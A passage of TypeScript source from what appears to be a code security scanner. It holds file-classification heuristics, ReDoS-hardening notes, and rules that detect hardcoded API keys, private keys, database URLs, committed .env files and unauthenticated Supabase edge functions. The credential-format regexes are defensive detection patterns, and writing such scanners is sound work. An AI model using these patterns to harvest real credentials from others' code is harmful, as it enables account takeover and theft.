\"(?:^|/)webhooks?/\",\n \"(?:^|/)services?/\",\n \"(?:^|/)lambda/\",\n \"(?:^|/)functions?/\",\n \"(?:^|/)pages/api/\",\n \"(?:^|/)app/.*/route\\\\.(?:m?[jt]sx?|cjs)$\",\n // Bare-filename anchors (with or without leading directory).\n // Allows compound names like webhook-handler.js, cron-runner.js,\n // user-service.ts via the optional (?:[-_]\\w+)* suffix group.\n \"(?:^|/)(?:api|routes?|controllers?|endpoints?|handlers?|middleware|webhooks?|services?|server|app|index|main|lambda|function|ingest|runner|worker|resolvers?)(?:[-_]\\\\w+)*\\\\.(?:m?[jt]sx?|cjs|py|rb|go)$\",\n // Common functional names that imply request handling.\n \"(?:^|/)(?:auth|login|logout|signup|signin|register|password|reset|callback|oauth|admin|dashboard|profile|account|checkout|payment|webhook|audit|cron|search|upload|download|errors?|create-?\\\\w*|update-?\\\\w*|delete-?\\\\w*)(?:[-_]\\\\w+)*\\\\.(?:m?[jt]sx?|cjs|py|rb|go)$\",\n ].join(\"|\"),\n \"i\",\n);\n\n// Strong server-side request-handling signals in file CONTENT. Used as a\n// fallback when the filename doesn't match SERVER_SIDE_PATH_RE — a file that\n// reads `req.body`, defines `app.post(...)`, or exports a `(req, res)` handler\n// IS server-side regardless of what it's named. Closes a real recall gap:\n// camelCase compound names (appHandler.js, userController.js, paymentService.js)\n// never matched the separator-delimited filename anchors, so the data-flow\n// rules (command injection, SQLi, XXE, mass assignment, …) silently skipped\n// them. Surfaced by the held-out benchmark on DVNA's core/appHandler.js.\n//\n// Deliberately narrow — every token here is an unambiguous Express/Koa/Lambda\n// SERVER signal that frontend code does not produce. (Note what's NOT here:\n// `res.json()` / `res.send()` are excluded on purpose — they collide with the\n// extremely common frontend idiom `fetch(...).then(res => res.json())`.) The\n// gate only ENABLES scanning; each rule still has to find its actual vulnerable\n// pattern, so widening it can't fire on safe code by itself.\n//\n// The Express-import alternative bounds the gap to {0,200} (NOT a greedy `*`).\n// A real `import … from 'express'` / `require('express')` has the literal\n// within a few dozen chars of the keyword; an unbounded `[^;\\n]*` instead\n// backtracks the whole line on a pathological single-line payload of repeated\n// `require ` tokens that never contains `'express'`, which is quadratic across\n// the many anchor positions and pinned the public scan endpoint at ~15s for a\n// single 256KB file (CPU DoS — security review June 2026). The bound makes the\n// worst case linear while still matching every realistic import statement.\nconst SERVER_SIDE_CONTENT_RE =\n /\\b(?:req|request)\\.(?:body|query|params|headers|cookies)\\b|\\b(?:app|router)\\.(?:get|post|put|patch|delete|use|all)\\s*\\(|\\bctx\\.request\\b|\\bevent\\.(?:body|queryStringParameters|pathParameters)\\b|\\(\\s*req\\s*,\\s*res\\b|(?:import|require)\\b[^;\\n]{0,200}['\"]express['\"]|\\bNextFunction\\b/;\n\nexport function isServerSideFile(filePath: string, content?: string): boolean {\n if (isTestFile(filePath)) return false;\n if (SERVER_SIDE_PATH_RE.test(filePath)) return true;\n // A file-level \"use server\" is not a hint, it is a declaration: React runs\n // every export in this file on the server and exposes it as a callable POST\n // endpoint. It is stronger evidence than any path heuristic, and server\n // actions live wherever the author put them — src/actions/, lib/, beside a\n // component — so the path tests routinely miss them. Measured on the `wedge`\n // corpus: 15 unauthenticated server actions, none of them reported.\n if (content && /^\\s*[\"']use server[\"']/m.test(content)) return true;\n if (content && SERVER_SIDE_CONTENT_RE.test(content)) return true;\n return false;\n}\n\n// \"This file looks like a config file.\" Different shape from server-side\n// code: filenames like db.config.js, knexfile.js, drizzle.config.ts,\n// next.config.js, vite.config.ts, *.conf, .env*, settings.py, etc.\nconst CONFIG_FILE_PATTERN = new RegExp(\n [\n \"\\\\.config\\\\.(?:m?[jt]sx?|cjs)$\",\n \"(?:^|/)config\\\\.(?:m?[jt]sx?|cjs|py|rb|json|ya?ml)$\",\n \"(?:^|/)settings\\\\.(?:m?[jt]sx?|cjs|py)$\",\n \"(?:^|/)\\\\.env(?:\\\\.|$)\",\n \"(?:^|/)(?:knex|drizzle|next|vite|rollup|webpack|tailwind|postcss|jest|vitest|tsup|babel)\\\\.config\\\\.(?:m?[jt]sx?|cjs)$\",\n \"(?:^|/)(?:db|database|connection|pool)\\\\.(?:config\\\\.)?(?:m?[jt]sx?|cjs|py|rb)$\",\n ].join(\"|\"),\n \"i\",\n);\n\nfunction isConfigFile(filePath: string): boolean {\n return CONFIG_FILE_PATTERN.test(filePath);\n}\n\n// Check if a match falls on a comment line (JS/TS/Python/Ruby/YAML/HTML)\n/**\n * The full text of the line containing `index`.\n *\n * Exists because `content.substring(lineStart, content.indexOf(\"\\n\", index))`\n * is wrong for a match on the LAST line of a file with no trailing newline:\n * indexOf returns -1, and `substring(start, -1)` does not return \"\" — it\n * clamps and swaps, handing back `content.substring(0, lineStart)`, which is\n * everything BEFORE the line.\n *\n * That silently dropped findings. isCommentLine would test the top of the file\n * instead of the match's line, so any file that opens with a comment — a\n * licence header, a docblock, an explanatory note — lost every finding on its\n * last line. It runs for every regex rule, so this was not one rule's problem.\n *\n * Four other sites in this file already guard the -1 explicitly. This is the\n * same fix, in one place, for the seven that did not.\n */\nexport function lineTextAt(content: string, index: number): string {\n const lineStart = content.lastIndexOf(\"\\n\", index - 1) + 1;\n const lineEnd = content.indexOf(\"\\n\", index);\n return content.substring(lineStart, lineEnd === -1 ? content.length : lineEnd);\n}\n\nexport function isCommentLine(content: string, matchIndex: number): boolean {\n const lineText = lineTextAt(content, matchIndex).trimStart();\n return (\n lineText.startsWith(\"//\") ||\n lineText.startsWith(\"#\") ||\n lineText.startsWith(\"*\") ||\n lineText.startsWith(\"/*\") ||\n lineText.startsWith(\"<!--\") ||\n lineText.startsWith(\"'\") && lineText.length > 1 && /\\.(vb|bas)$/i.test(\"\") // VB comments\n );\n}\n\n// Check if a match is inside a string literal that's a fix/description message\n// (e.g., inside a findMatches callback or rule description)\nexport function isInsideFixMessage(content: string, matchIndex: number): boolean {\n const lineText = lineTextAt(content, matchIndex);\n // Skip if the line looks like a fix suggestion string or rule description.\n // Word-boundaries on the imperative verbs are critical — without them,\n // words like \"reset\" (contains \"Set\") or \"added\" (contains \"Add\") trip\n // the filter and silently drop real findings.\n //\n // The first clause requires a STRING-LITERAL value after the separator\n // (`fix: \"...\"`, `description = '...'`). Without that anchor it matched\n // ordinary assignments to variables named like the keywords —\n // `const doc = libxmljs.parseXmlString(...)` or\n // `const message = exec(req.body.x)` — silently dropping real findings on\n // those lines. Requiring the quote keeps the rule-definition intent while\n // letting `doc = someCall(...)` (a call, not a literal) fall through.\n return /(?:fix|description|message|suggestion|hint|help|example|doc|comment)\\s*[:=]\\s*[\"'`]/i.test(lineText) ||\n /return\\s*[\"'`].*\\b(?:Use|Replace|Add|Move|Set|Enable|Disable|Never|Don't|Do not|Instead)\\b/i.test(lineText);\n}\n\n/**\n * Drop findMatches-style results that sit at an inline-silenced site. Lets any\n * rule honor `// VC###-OK:` / `// scanner-OK` with a one-liner, even when it\n * only has line numbers (not match indices) to work with. Used to give the\n * high/critical rules a per-site escape valve so users don't disable a whole\n * rule to suppress one reviewed-and-accepted finding.\n */\nexport function filterSilenced(matches: RuleMatch[], content: string, ruleId: string): RuleMatch[] {\n if (matches.length === 0) return matches;\n const lines = content.split(\"\\n\");\n const lineStartIndex = (line: number) =>\n lines.slice(0, line - 1).reduce((acc, l) => acc + l.length + 1, 0);\n return matches.filter((m) => !isInlineSilenced(content, lineStartIndex(m.line), ruleId));\n}\n\n// Context-aware matching: checks if mitigation exists within N lines after the match\nfunction hasMitigationNearby(content: string, matchIndex: number, mitigationPattern: RegExp, linesAhead: number = 5): boolean {\n const lines = content.split(\"\\n\");\n const matchLine = content.substring(0, matchIndex).split(\"\\n\").length - 1;\n const endLine = Math.min(matchLine + linesAhead, lines.length - 1);\n const nearbyContent = lines.slice(matchLine, endLine + 1).join(\"\\n\");\n return mitigationPattern.test(nearbyContent);\n}\n\n// Helper to find all regex matches with line numbers\n// Automatically skips matches on comment lines and fix messages\nexport function findMatches(\n content: string,\n pattern: RegExp,\n rule: Omit<CustomRule, \"check\">,\n filePath: string,\n fixTemplate?: (match: RegExpExecArray) => string,\n): RuleMatch[] {\n const matches: RuleMatch[] = [];\n let m: RegExpExecArray | null;\n const re = new RegExp(pattern.source, pattern.flags.includes(\"g\") ? pattern.flags : `${pattern.flags}g`);\n\n // Compute line numbers incrementally instead of `content.substring(0,\n // m.index).split(\"\\n\")` per match. Matches arrive in increasing index\n // order, so we only ever count each newline once — O(content) total\n // instead of O(content x matches), which was O(n^2) and let a pathological\n // single-line payload with thousands of matches pin the public scan\n // endpoint (CPU-DoS — security review June 2026).\n let scanned = 0; // index up to which newlines have been counted\n let lineNum = 1;\n let lastMatchIndex = -1;\n\n // Cap matches per rule per file. No real file has hundreds of genuine hits\n // of a single rule that change the verdict (the grade is capped anyway),\n // and the cap turns the worst case from O(matches x per-match work) into a\n // constant bound — the second half of the ReDoS/CPU-DoS fix.\n const MAX_MATCHES = 500;\n\n while ((m = re.exec(content)) !== null) {\n // Guard against a zero-width match looping forever.\n if (m.index === lastMatchIndex && m[0].length === 0) {\n re.lastIndex++;\n continue;\n }\n lastMatchIndex = m.index;\n\n // Skip matches on comment lines\n if (isCommentLine(content, m.index)) continue;\n // Skip matches inside fix/description strings\n if (isInsideFixMessage(content, m.index)) continue;\n\n // Advance the incremental line counter to this match.\n for (; scanned < m.index; scanned++) {\n if (content.charCodeAt(scanned) === 10 /* \\n */) lineNum++;\n }\n\n matches.push({\n rule: rule.id,\n title: rule.title,\n severity: rule.severity,\n category: rule.category,\n file: filePath,\n line: lineNum,\n snippet: getSnippet(content, lineNum),\n fix: fixTemplate?.(m),\n });\n\n if (matches.length >= MAX_MATCHES) break;\n }\n\n return matches;\n}\n\n/**\n * Build a RuleMatch from an AST-derived location. Mirrors findMatches' output\n * shape so AST-based rules can be mixed into the same Finding stream. `line`\n * comes from node.loc; we still call getSnippet for consistent UI.\n */\nexport function astMatch(\n content: string,\n filePath: string,\n line: number,\n rule: Omit<CustomRule, \"check\">,\n fix?: string,\n): RuleMatch {\n return {\n rule: rule.id,\n title: rule.title,\n severity: rule.severity,\n category: rule.category,\n file: filePath,\n line,\n snippet: getSnippet(content, line),\n fix,\n };\n}\n\n/**\n * Parse once per (file, rule) call, cached. Returns null if the file isn't\n * JS/TS, parsing failed, or the file is empty — callers fall back to the\n * regex-only path so malformed code can't break a scan.\n */\n// Memoize the AST parse + taint map per file. 13 rules call tryParse, and\n// rules run synchronously over one (content, filePath) at a time, so without\n// this every JS/TS file was Babel-parsed (and taint-mapped) up to 13 times per\n// scan — which dominated scan time on any non-trivial file and let a large\n// many-line payload cost several seconds (security review June 2026). The\n// by-(content,filePath) cache of size 1 hits for all 13 calls on a given file.\n// Keyed on filePath too because the parser plugin set is extension-driven and\n// two files can share identical content; the null (parse-failed) result is\n// cached behind a validity flag.\nlet parseCacheContent: string | null = null;\nlet parseCachePath: string | null = null;\nlet parseCacheResult: { parsed: ParsedFile; taint: TaintMap } | null = null;\nlet parseCacheValid = false;\n\nexport function tryParse(content: string, filePath: string): { parsed: ParsedFile; taint: TaintMap } | null {\n if (parseCacheValid && content === parseCacheContent && filePath === parseCachePath) {\n return parseCacheResult;\n }\n let result: { parsed: ParsedFile; taint: TaintMap } | null = null;\n try {\n const parsed = parseFile(content, filePath);\n // buildTaintMap traverses the AST and CAN throw on adversarial-but-\n // parseable input (e.g. `const x;const x;` → Babel \"Duplicate\n // declaration\"). An unhandled throw here propagates out of rule.check()\n // and crashes the whole scan request, since the API's runScan loop does\n // not wrap each rule. Treat any parse/traverse failure as \"no AST\" — the\n // rule falls back to its regex layer (security review June 2026).\n result = parsed ? { parsed, taint: buildTaintMap(parsed) } : null;\n } catch {\n result = null;\n }\n parseCacheResult = result;\n parseCacheContent = content;\n parseCachePath = filePath;\n parseCacheValid = true;\n return result;\n}\n\n// ────────────────────────────────────────────\n// RULE DEFINITIONS\n// ────────────────────────────────────────────\n\n/**\n * A namespaced storage/cache key such as `kartrush2.customTrack`,\n * `app:settings` or the prefix `kartrush2.pace.` — words joined by `.`, `:`,\n * `/`, `-` or `_`. Each word is lowercase, optionally camelCase where every\n * capital starts a lowercase run, with trailing digits allowed (`kartrush2`,\n * `v1`). Only a trailing separator may leave an empty word.\n */\nfunction isNamespacedSlotKey(value: string): boolean {\n const words = value.split(/[.:/_-]/);\n if (words[words.length - 1] === \"\") words.pop();\n if (words.length < 2) return false;\n return words.every((w) => /^[a-z]+[0-9]*(?:[A-Z][a-z]+[0-9]*)*$/.test(w));\n}\n\nexport const hardcodedSecrets: CustomRule = {\n id: \"VC001\",\n title: \"Hardcoded API Key or Secret\",\n severity: \"critical\",\n category: \"Secrets\",\n description: \"API keys, tokens, or secrets hardcoded in source code can be extracted by anyone with access to the code.\",\n check(content, filePath) {\n // Skip .env.example, template, test, and documentation files\n if (filePath.endsWith(\".example\") || filePath.endsWith(\".template\")) return [];\n if (isTestFile(filePath)) return [];\n if (filePath.match(/\\.(md|txt|rst|adoc)$/)) return [];\n\n const patterns = [\n // Generic API key patterns — require actual value assignment, not variable declarations\n /(?:api[_-]?key|apikey|api[_-]?secret)\\s*[:=]\\s*[\"'`]([a-zA-Z0-9_\\-]{20,})[\"'`]/gi,\n // AWS keys\n /(?:AKIA|ABIA|ACCA|ASIA)[A-Z0-9]{16}/g,\n // Stripe keys\n /(?:sk_live|pk_live|sk_test|pk_test)_[a-zA-Z0-9]{20,}/g,\n // Supabase anon/service keys (JWT format)\n /(?:supabase[_-]?(?:anon|service)[_-]?key|SUPABASE_(?:ANON|SERVICE_ROLE)_KEY)\\s*[:=]\\s*[\"'`](eyJ[a-zA-Z0-9_-]{50,})[\"'`]/gi,\n // OpenAI keys\n /sk-[a-zA-Z0-9]{20,}T3BlbkFJ[a-zA-Z0-9]{20,}/g,\n // Generic tokens in assignments — require standalone word and longer min length\n /(?:^|[\\s,({])(?:token|secret|password|passwd|pwd)\\s*[:=]\\s*[\"'`]([a-zA-Z0-9_\\-!@#$%^&*]{20,})[\"'`]/gim,\n // SCREAMING_CASE identifiers ending in SECRET/TOKEN/KEY/PASSWORD\n // (OAUTH_CLIENT_SECRET, JWT_PRIVATE_KEY, STRIPE_WEBHOOK_SECRET, etc.)\n // that are assigned a string literal, not an env var or function call.\n /[A-Z][A-Z0-9_]*_(?:SECRET|TOKEN|KEY|PASSWORD|PASSWD)\\s*[:=]\\s*[\"'`]([a-zA-Z0-9_\\-!@#$%^&*.\\/]{12,})[\"'`]/g,\n // camelCase / snake_case object properties that look like credentials:\n // apiKey: \"...\", webhookUrl: \"https://...\", accountSid: \"...\", authToken: \"...\"\n // password: \"...\" caught here separately with a lower threshold (many\n // real passwords are 8-16 chars, below the 12-char floor of the\n // generic `secret = \"...\"` pattern).\n /\\b(?:apiKey|api_key|authToken|auth_token|webhookUrl|webhook_url|accountSid|account_sid|clientSecret|client_secret|refreshToken|refresh_token)\\s*:\\s*[\"'`]([a-zA-Z0-9_\\-!@#$%^&*.\\/:\\-]{12,})[\"'`]/gi,\n /\\b(?:password|passwd|pwd)\\s*:\\s*[\"'`]([a-zA-Z0-9_\\-!@#$%^&*.\\/:\\-]{8,})[\"'`]/gi,\n // Private keys\n /-----BEGIN (?:RSA |EC |DSA )?PRIVATE KEY-----/g,\n // Database URLs with credentials\n /(?:postgres|mysql|mongodb(?:\\+srv)?):\\/\\/[^:]+:[^@]+@[^/\\s\"'`]+/gi,\n ];\n\n // Pattern-specific fix messages with risk context\n const fixMessages: string[] = [\n \"Move this API key to an environment variable. If this key has been committed, rotate it immediately — it may have already been scraped by bots.\",\n \"AWS access key detected — may grant full account access (EC2, S3, IAM, billing). Rotate immediately in AWS Console → IAM → Security Credentials. Use IAM roles or environment variables instead.\",\n \"Stripe key detected. sk_live_ keys can process real charges, issue refunds, and access customer payment data. sk_test_ keys are lower risk but should still not be committed. Rotate in Stripe Dashboard → Developers → API Keys.\",\n \"Supabase key detected. Service role keys bypass Row Level Security and grant full database read/write access. Move to a server-side environment variable immediately.\",\n \"OpenAI API key detected — grants full API access and can incur charges. Rotate at platform.openai.com → API Keys.\",\n \"Hardcoded token or password detected. Move to an environment variable and rotate the credential if it has been committed to version control.\",\n \"Named secret constant detected (XXX_SECRET / XXX_TOKEN / XXX_KEY). If it's a real credential, move it to server-side configuration — an environment variable read by server code (`process.env.NAME` in Node) — and rotate it if this file has been committed. Code that runs in the browser can't keep a secret: everything it loads is public, and `process` doesn't exist there without a bundler, so a browser-side credential has to move behind your own server. If the value is an identifier rather than a credential (a storage key, a cookie or cache name), there is nothing to rotate.\",\n \"Credential assigned to a config object property. Move to an environment variable — `apiKey: process.env.API_KEY` — and rotate the value if this file has been committed.\",\n \"Hardcoded password detected in a config object. Move to an environment variable (`password: process.env.DB_PASSWORD`) and rotate the password if this file has been committed.\",\n \"Private key found in source code. If this has been committed to version control, consider the key compromised — generate a new key pair and revoke the old one.\",\n \"Database credentials in connection string. An attacker with this URL has full database access. Move to an environment variable, restrict network access, and rotate the password.\",\n ];\n\n // Per-pattern minimum-value-length floor. Most secret shapes require 12+\n // characters (below that it's often an enum value, version, or similar);\n // the password-specific pattern allows 8+ (real passwords legitimately\n // start at 8). Index into this lines up with `patterns` above.\n const minLen: number[] = [\n 12, // [0] generic API key\n 16, // [1] AWS — already rigid in the regex, length floor is defensive\n 20, // [2] Stripe\n 50, // [3] Supabase JWT\n 40, // [4] OpenAI\n 20, // [5] generic tokens with {20,} in the regex\n 12, // [6] SCREAMING_CASE named constants\n 12, // [7] camelCase config props (apiKey/webhookUrl/etc.)\n 8, // [8] password: \"...\" — lower floor per the pattern comment above\n 0, // [9] private keys — no length check\n 0, // [10] DB URLs — no length check\n ];\n\n const matches: RuleMatch[] = [];\n for (let pi = 0; pi < patterns.length; pi++) {\n const pattern = patterns[pi];\n const rawMatches = findMatches(content, pattern, hardcodedSecrets, filePath, () => fixMessages[pi]);\n const floor = minLen[pi] ?? 12;\n for (const rm of rawMatches) {\n const lineText = content.split(\"\\n\")[rm.line - 1] || \"\";\n // Skip comment lines (additional guard beyond findMatches)\n const trimmed = lineText.trimStart();\n if (trimmed.startsWith(\"//\") || trimmed.startsWith(\"#\")) continue;\n // Enforce per-pattern minimum value length\n if (floor > 0) {\n const secretMatch = lineText.match(/[:=]\\s*[\"'`]([^\"'`]*)[\"'`]/);\n if (secretMatch && secretMatch[1].length < floor) continue;\n }\n // FP filter for pattern[6] (SCREAMING_CASE _KEY/_SECRET/_TOKEN\n // assignments). Real secrets look like `sk_live_aBcD1234...` —\n // mixed-case alphanumeric, high-entropy. The narrow FP class is\n // SCREAMING_CASE constants ending **specifically in _KEY** that\n // hold app-side slot identifiers — localStorage keys, cookie\n // names, cache keys: `xploitscan-webhooks` (kebab-case),\n // `mc_saves_index` (snake_case), `consent_banner_dismissed`.\n //\n // Only the `_KEY` suffix can legitimately mean \"slot identifier\"\n // (the actual secret would be stored AT that key, not BE the\n // value). `_SECRET`, `_TOKEN`, `_PASSWORD`, `_PASSWD` always\n // imply real credentials, even if the value happens to look\n // kebab-case (e.g. `OAUTH_CLIENT_SECRET = \"secret-google-app-7c41a82bf3\"`\n // — must still flag).\n //\n // Skip ONLY when: variable ends in `_KEY` AND value is a\n // human-readable slot identifier, under 40 chars, either:\n // - all-lowercase alphanumeric words joined by `-` or `_`\n // (`mc_saves_index`, `consent-banner-dismissed`), or\n // - a namespaced key: two or more words joined by `.`, `:`, `/`,\n // `-` or `_`, each word lowercase or camelCase\n // (`kartrush2.customTrack`, `app:settings`, and the prefix form\n // `kartrush2.pace.` that a loop appends an id to).\n // The second form was missing, so every localStorage key in a\n // browser game that namespaces its saves flagged as a critical secret.\n // \"camelCase\" is strict — each capital must start a lowercase run — so\n // random mixed-case blobs (`aB3dE5fG7h`) still flag. Real keys are\n // mixed-case or unbroken high-entropy blobs (e.g. `abcd1234ef567890`),\n // so they have no separator or fail the word test, and still flag.\n if (pi === 6) {\n const valMatch = lineText.match(/[:=]\\s*[\"'`]([^\"'`]+)[\"'`]/);\n const nameMatch = lineText.match(/\\b([A-Z][A-Z0-9_]*_(?:SECRET|TOKEN|KEY|PASSWORD|PASSWD))\\b/);\n if (valMatch && nameMatch) {\n const value = valMatch[1];\n const isKeySuffix = nameMatch[1].endsWith(\"_KEY\");\n const isSlotIdentifier =\n value.length < 40 &&\n (/^[a-z0-9]+([_-][a-z0-9]+)+$/.test(value) || isNamespacedSlotKey(value));\n if (isKeySuffix && isSlotIdentifier) continue;\n }\n }\n matches.push(rm);\n }\n }\n return matches;\n },\n};\n\nexport const exposedEnvFile: CustomRule = {\n id: \"VC002\",\n title: \"Environment File May Be Committed\",\n severity: \"high\",\n category: \"Secrets\",\n description: \".env files containing secrets may be committed to version control.\",\n check(content, filePath) {\n // Only applies to .env files (not .env.example)\n if (!filePath.match(/\\.env(?:\\.[a-z]+)?$/) || filePath.includes(\"example\")) return [];\n\n const hasSecrets = /(?:KEY|SECRET|TOKEN|PASSWORD|PRIVATE|DATABASE_URL)\\s*=/i.test(content);\n if (!hasSecrets) return [];\n\n return [{\n rule: \"VC002\",\n title: exposedEnvFile.title,\n severity: \"high\",\n category: \"Secrets\",\n file: filePath,\n line: 1,\n snippet: getSnippet(content, 1),\n fix: 'Add \".env*\" to your .gitignore file and remove this file from git history with: git rm --cached ' + filePath,\n }];\n },\n};\n\n// ---------------------------------------------------------------------------\n// Deno / Supabase Edge Function support for VC003\n// ---------------------------------------------------------------------------\n//\n// Why this exists: docs/research/auth-wedge-sizing.md measured 174 public\n// repositories carrying an AI app builder's scaffold marker, and\n// docs/research/class-a-detection.md traced the result back to this rule. On\n// Vite-based builders the entire server surface is Supabase Edge Functions —\n// `supabase/functions/<name>/index.ts`, a `serve()` or `Deno.serve()` call, no\n// Next.js route handler anywhere in the repo. VC003 recognised exactly two\n// handler shapes (an `export async function GET` declaration and an\n// `app.get(\"/x\", handler)` registration), so that surface was invisible to it.\n// Handlers with no discoverable authentication were flagged at 86% on\n// Next.js-shaped repos and 13% on the Vite/edge-shaped ones.\n\n/**\n * A Supabase Edge Function source file: `supabase/functions/<name>/…`.\n *\n * Copied from `SUPABASE_FN_RE` in scripts/research/auth-wedge-lib.cjs.\n *\n * This gate is not decoration. The finding text, the fix advice and the\n * changelog copy all say \"edge function\" and tell the reader to resolve the\n * caller's token with `supabase.auth.getUser()` — advice that is wrong, and\n * embarrassingly so, on a Deno HTTP server that has nothing to do with\n * Supabase. `Deno.serve(` on its own appears in local dev proxies, MCP\n * transports, `server/main.ts` bootstraps and Deno Deploy handlers, and\n * without a path constraint every one of those collected a high-severity\n * \"this edge function does not establish who is calling it\" finding.\n *\n * The shape has no calibration history, so it stays inside the path shape the\n * research measured. Netlify and Deno Deploy edge functions are deliberately\n * NOT included: nothing in the study covers them and the fix text would not\n * apply.\n */\nconst SUPABASE_EDGE_FN_RE = /(?:^|\\/)supabase\\/functions\\/[^/]+\\/.*\\.(?:m?[jt]s)$/;\n\n/**\n * Does this file prove it is a Deno HTTP entry point?\n *\n * The bare token `serve(` is ambiguous — @hono/node-server and other adapters\n * export a `serve()` that binds a port instead of handling a request, and\n * flagging those would put a phantom high-severity finding on the startup file\n * of every Hono/Node project. So `serve(` only counts when the file also shows\n * a Deno std-http import; `Deno.serve(` is unambiguous on its own.\n *\n * Content test only — the caller is responsible for the path constraint\n * (`SUPABASE_EDGE_FN_RE`).\n */\nfunction isDenoEdgeEntry(codeOnly: string): boolean {\n if (/\\bDeno\\s*\\.\\s*serve\\s*\\(/.test(codeOnly)) return true;\n const importsStdServe =\n /from\\s+[\"']https?:\\/\\/deno\\.land\\/[^\"']{0,120}\\/http\\/server(?:\\.ts)?[\"']/.test(codeOnly) ||\n /from\\s+[\"'](?:jsr:)?@std\\/http[^\"']{0,40}[\"']/.test(codeOnly);\n return importsStdServe && /(?<![.\\w])serve\\s*\\(/.test(codeOnly);\n}\n\nconst DENO_EDGE_ENTRY_RE = /(?:\\bDeno\\s*\\.\\s*serve|(?<![.\\w])serve)\\s*\\(/g;\n\n/**\n * Weak indications that the author did *something* about the caller's\n * identity. None of these proves a check — that is exactly why they are not in\n * `authPatterns`, where they would suppress the Next.js and Express shapes the\n * rule has years of calibration behind.\n *\n * For the edge-function shape they DO suppress. The list below covers every\n * entry of `WEAK_AUTH`, `RLS_DELEGATED` and `SIGNATURE_VERIFY` in\n * scripts/research/auth-wedge-lib.cjs: for each classifier pattern, any string\n * that matches it also matches something here. That direction is the one that\n * matters — the classifier routes a handler carrying any of those to its\n * \"undecidable\" or \"public by design\" bucket rather than to \"no authentication\n * at all\", so covering them costs no measured recall on the class this\n * widening targets while removing the whole population where a high-severity\n * finding would be a coin flip.\n *\n * What this does NOT claim, because the first version of this comment did and\n * it was false: the rule as a whole is not equivalent to the classifier. The\n * strong-auth gate is the rule's own `authPatterns`, which is a different and\n * in places narrower list than the classifier's `STRONG_AUTH` (no `jose` /\n * `jwtVerify(`, no `workos`, no `stackServerApp`, no `resolveAuthedUserId`).\n * In practice those handlers are still suppressed, because a handler doing any\n * of them mentions a token, a session or a user — but that is an observation\n * about real code, not a property of the code below. Verified coverage of the\n * three lists is the claim; \"fires only where the study would have said class\n * A\" is not.\n *\n * Four classifier patterns are covered by a cheaper equivalent rather than\n * verbatim, because the originals contain unbounded `[^}]*` / `[^)]*` / `\\w*`\n * runs. An unbounded quantifier in a rule regex is what pinned the public scan\n * endpoint at ~15s on a single 256KB file in June 2026, and a scanned repo\n * chooses its own file contents:\n *\n * - `/global\\s*:\\s*\\{[^}]*headers[^}]*Authorization/is` ⊂ `/\\bauthorization\\b/i`\n * - `/createClient\\s*\\([^)]*Authorization/is` ⊂ `/\\bauthorization\\b/i`\n * - `/auth\\s*:\\s*\\{[^}]*persistSession/is` ⊂ `/\\bpersistSession\\b/`\n * - `/\\bWebhook\\s*\\(\\s*\\w*SECRET/i` → `\\w{0,64}` bound\n *\n * The first three replacements match a strict superset of the original. The\n * fourth is the only narrowing anywhere in this list, and it gives up\n * identifiers longer than 64 characters between `Webhook(` and `SECRET`.\n */\nconst EDGE_WEAK_AUTH_HINTS = [\n // WEAK_AUTH — the author touched the caller's identity somehow.\n // Covers the classifier's `/\\bheaders\\s*(?:\\.\\s*get\\s*\\(\\s*)?[\"'`]?[Aa]uthorization/`\n // via the plain `authorization` token.\n /\\bauthorization\\b/i,\n /\\bbearer\\b/i,\n /\\btoken\\b/i,\n /\\bsession\\b/i,\n /\\bapi[_-]?key\\b/i,\n /\\buser\\b/,\n // Beyond the classifier's WEAK_AUTH list — these are strong-auth or\n // ownership signals there, and suppressing on them here can only remove\n // findings.\n /\\b401\\b/,\n /\\b403\\b/,\n /\\bunauthori[sz]ed\\b/i,\n /\\bforbidden\\b/i,\n /\\bgetSession\\b/,\n /\\bgetClaims\\b/,\n // RLS_DELEGATED — the database is the gate\n /\\bcreateServerClient\\s*\\(/,\n /\\bcreateRouteHandlerClient\\s*\\(/,\n /\\bcreateServerComponentClient\\s*\\(/,\n /\\bpersistSession\\b/,\n // SIGNATURE_VERIFY — a receiver that authenticates its caller with a\n // signature or a shared secret rather than a session. Matched on content\n // rather than on the function's name, because the name is only a\n // convention: an edge function called `sync-inventory` can still be a\n // signed webhook receiver, and flagging it for \"missing authentication\"\n // would be wrong in the most embarrassing possible way.\n /\\bconstructEvent\\w*\\s*\\(/,\n /\\bcreateHmac\\s*\\(/,\n // `hmac` bare, not just Node's `createHmac`. Deno edge functions verify\n // signatures with Web Crypto — `crypto.subtle.importKey(…, { name: \"HMAC\" })`\n // — which contains no other token on this list. Its absence flagged\n // correctly-signed receivers, which is the worst false positive this rule\n // can produce.\n /\\bhmac\\b/i,\n /\\btimingSafeEqual\\s*\\(/,\n /\\bsvix\\b/i,\n /\\bWebhook\\s*\\(\\s*\\w{0,64}SECRET/i,\n // Header names, quoted or bare. The quoted form below requires the literal\n // to END at `-signature`, so it misses `\"X-Hub-Signature-256\"` — the header\n // GitHub actually sends.\n /\\bx-hub-signature\\b/i,\n /\\bx-signature\\b/i,\n /\\bstripe-signature\\b/i,\n /\\bverifyHeader\\s*\\(/,\n /\\bverifySignature\\b/i,\n /\\bwebhook[_-]?secret\\b/i,\n /\\bsigning[_-]?secret\\b/i,\n // Beyond the classifier's SIGNATURE_VERIFY list.\n /[\"'`][\\w-]*-signature[\"'`]/i,\n /\\b\\w*(?:webhook|shared|signing|cron|admin|internal)[_-]?secret\\b/i,\n];\n\n/**\n * Endpoints an edge function is allowed to expose without a caller check.\n *\n * The three regexes below are copied character-for-character from\n * `PUBLIC_PATH_RE`, `AUTH_FLOW_PATH_RE` and `CRON_PATH_RE` in\n * scripts/research/auth-wedge-lib.cjs, so the two can be diffed. The\n * classifier routes these to \"public by design\" and \"undecidable\" rather than\n * to \"no authentication at all\". The hand-trimmed earlier version dropped\n * `_?static`, `sign-in`/`sign-up`/`sign-out`, `forgot`, `nextauth`, `session`\n * and `token`, which is the kind of drift that makes a \"mirrors the\n * classifier\" comment stop being true without anyone noticing.\n *\n * Applied only to the edge-function shape — the Next.js and Express shapes\n * keep the skip list they were calibrated with.\n *\n * Hyphen-aware throughout, because the Supabase layout is one directory per\n * function: `reset-password`, `og-image` and `daily-cron` are directory names,\n * never path segments of their own.\n */\nconst EDGE_PUBLIC_PATH_RE =\n /(^|[/_-])(health(?:z|check)?|ping|status|version|readyz|livez|robots|sitemap|manifest|favicon|opengraph|og-image|og|rss|feed|_?static|public|metrics)([/_.-]|$)/i;\n\nconst EDGE_AUTH_FLOW_PATH_RE =\n 